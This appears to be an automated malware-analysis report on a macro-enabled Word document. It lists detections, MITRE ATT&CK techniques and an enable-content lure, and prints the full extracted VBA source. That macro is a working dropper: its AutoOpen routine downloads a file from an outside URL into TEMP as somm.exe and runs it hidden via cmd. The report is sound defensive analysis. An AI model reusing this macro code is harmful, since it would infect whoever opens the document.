MALICIOUS
298
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample is an OOXML document containing VBA macros. The document body instructs the user to enable content for security reasons, a common lure. The AutoOpen macro uses URLDownloadToFile to download a file from "http://bit.do/elo21april" into the temporary directory as "somm.exe", and then executes it using cmd.exe. This indicates a dropper functionality.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6368968-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6368968-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "cmd /k """ & strFile & """", strWndStyle -
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _ -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
URLDownloadToFile 0, "http://bit.do/elo21april", Environ("TEMP") & "\somm.exe", 0, 0 -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://bit.do/elo21april Referenced by macro
- http://bit.do/elo21april�Referenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1260 bytes |
SHA-256: 77171a431fbe07f828fea3d98d40307847bcea18a9317e93704cf1752e1e2e90 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
Sub AutoOpen()
URLDownloadToFile 0, "http://bit.do/elo21april", Environ("TEMP") & "\somm.exe", 0, 0
Dim strPath As String
strPath = Environ("TEMP") & "\somm.exe"
'MsgBox (strPath)
Dim i
i = RunFile(Environ("TEMP") & "\somm.exe", vbHide)
End Sub
Function RunFile(strFile As String, strWndStyle As String)
Shell "cmd /k """ & strFile & """", strWndStyle
On Error Resume Next
Exit Function
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9216 bytes |
SHA-256: f7f2ea3a113fced07aaf8d1aca1a4881f1b2d7881543e3a88d32bb455905a047 |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-6368968-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.